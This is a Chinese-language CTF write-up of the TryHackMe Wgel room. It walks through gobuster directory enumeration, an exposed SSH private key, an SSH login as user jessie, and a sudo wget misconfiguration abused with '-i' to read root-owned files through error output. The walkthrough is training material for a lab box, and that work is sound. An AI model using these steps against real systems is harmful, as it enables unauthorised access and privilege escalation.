> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Wgel CTF writeup (zh-TW)
- URL: https://taiwanding.com/tryhackme-wgel-ctf-writeup-zh-tw/
- Published: 2025-09-18T07:00:32.000Z
- Updated: 2026-07-15T02:49:50.000Z
- Author: Kevin Chen
- Tags: tryhackme, CTF, web

## 題目資訊

- **平台**: TryHackMe
- **房間名稱**: CorpOne
- **難度**: Easy
- **目標**: 獲取 user\_flag.txt 和 root\_flag.txt
- **連結**: [https://tryhackme.com/room/wgelctf](https://tryhackme.com/room/wgelctf?ref=taiwanding.com)

## 發現服務

- **Port 22**: SSH
- **Port 80**: HTTP

---

## Step 1: Web 目錄枚舉

目錄爆破兩次，找到神秘路徑，撿到私鑰

```bash
gobuster dir -u http://10.201.41.182/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 20
```

先找到/sitemap

```bash
gobuster dir -u http://10.201.41.182/sitemap -w /usr/share/seclists/Discovery/Web-Content/common.txt -x html
```

直接看到 `.ssh` 與 `id_rsa`：

```
http://10.201.41.182/sitemap/.ssh/

```

把私鑰存到本機並設定權限：

```bash
nano id_rsa
chmod 600 id_rsa

```

## Step 2: 判斷使用者帳號

首頁原始碼裡有註解可推得使用者名稱是 **jessie**：

```html
<!-- Jessie don't forget to udate the webiste -->

```

## Step 3: SSH 登入並取得使用者旗子

用撿到的私鑰登入 jessie，進入後在 `~/Documents` 取得 `user_flag.txt`：

```bash
ssh -i id_rsa jessie@10.201.41.182
jessie@CorpOne:~$ cd Documents
jessie@CorpOne:~/Documents$ ls
user_flag.txt
jessie@CorpOne:~/Documents$ cat user_flag.txt
<redacted>

```

## Step 4: 權限檢查

查看 sudo 權限，發現可免密碼執行 `wget`：

```bash
jessie@CorpOne:~$ sudo -l
Matching Defaults entries for jessie on CorpOne:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jessie may run the following commands on CorpOne:
    (ALL : ALL) ALL
    (root) NOPASSWD: /usr/bin/wget

```

## Step 5: 權限提升

用 wget 讀 root 檔案

利用 `sudo /usr/bin/wget -i <file>` 的特性，把檔案內容當作 URL 清單讀取；雖然請求會失敗，但**錯誤訊息會吐出原文內容**，達到以 root 權限「讀檔」的目的。

```bash
# 直接讀 /root/root.txt，管線進 less 方便查看
sudo /usr/bin/wget -i /root/root.txt -O /dev/null 2>&1 | less

```

在輸出中即可看到 `root_flag.txt` 的內容（或直接顯示旗子文字），複製即可完成。

## 技術要點

1. **目錄列舉與憑證外洩**
  - HTTP 服務將 `.ssh/` 目錄對外公開，導致 `id_rsa` 私鑰可被直接下載。
2. **弱安全的部署流程**
  - 前台註解洩漏有效使用者名稱（jessie），降低登入嘗試難度。
3. **sudo 配置不當（NOPASSWD: wget）**
  - 允許以 root 執行 `/usr/bin/wget`，可被濫用為：
    - 讀檔（`-i` 將檔案內容當 URL 清單 → 錯誤輸出原文）

## 經驗分享

### 關於Step 5:

這一個方法是針對拿flag這件事，可以利用錯誤輸出吐出flag的內容，不過如果要拿到root權限，可以研究看看其他方法。